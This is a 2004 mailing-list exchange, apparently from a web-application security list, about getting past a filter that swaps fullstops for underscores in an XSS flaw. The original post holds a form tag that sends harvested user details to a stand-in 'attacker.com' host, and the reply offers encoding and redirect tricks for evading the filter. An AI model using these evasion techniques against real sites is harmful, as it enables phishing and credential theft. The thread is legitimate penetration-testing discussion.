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RE: Fullstop Substitution in XSS
From: "Michael Silk" <michaels () phg com au>
Date: Tue, 1 Jun 2004 10:07:49 +1000

        In the old days, an ip ( used to be able to be replaced
        for the expanded notation (127 * 2^24 + 0^16 + 0^8 + 1), perhaps
        check if that still works (althought I seem to remember it doesn't).
        Other than that (and possible dns infiltration) consider sites that,
        upon invalid domain (http://yahoo?test () hello) redirect to somewhere
        else ... even some search sites ... i.e. perhaps you could execute a
        search which your malicious site (attacker.com) would make note of.

        Or ... you say you tried hex encoding ... i.e. this ?

        if result is:
        <form target="INPUT GOES HERE">

        INPUT GOES HERE could be ...


        If the % get's translated at the time of sending to the site, hex-encode
        that because the above is *exactly* what should appear in the source of
        the form tag, not the decoded result.
-- Michael

-----Original Message-----
From: Calum Power [mailto:enune () fribble net]
Sent: Saturday, 29 May 2004 2:49 PM
To: webappsec () securityfocus com
Subject: Fullstop Substitution in XSS

Hi all,

As a part of a recent Pen-Test, I came across an XSS vulnerabiity. The PHP
script that has this vuln is filtering fullstops (.) and replacing them
with underscores (_).
Now, I'm trying trying to write a Proof-of-Concept, in which a
(convincing) form would be outputted that could 'harvest' user details and
send them to an attacker's webserver.

My problem lies in the output of the form tags. Any: <form
target="http://attacker.com/path/to/script";> is of course being filtered
into: <form target="http://attacker_com/path/to/script";>

Has anyone else had a similar problem? I've tried using hex and unicode
encoding, to no avail (they get decoded before the filtering, obviously).

Any help would be appreciated.

Calum Power
Cultural Jammer
Security Enthusiast
Hopeless Cynic

enune () fribble net

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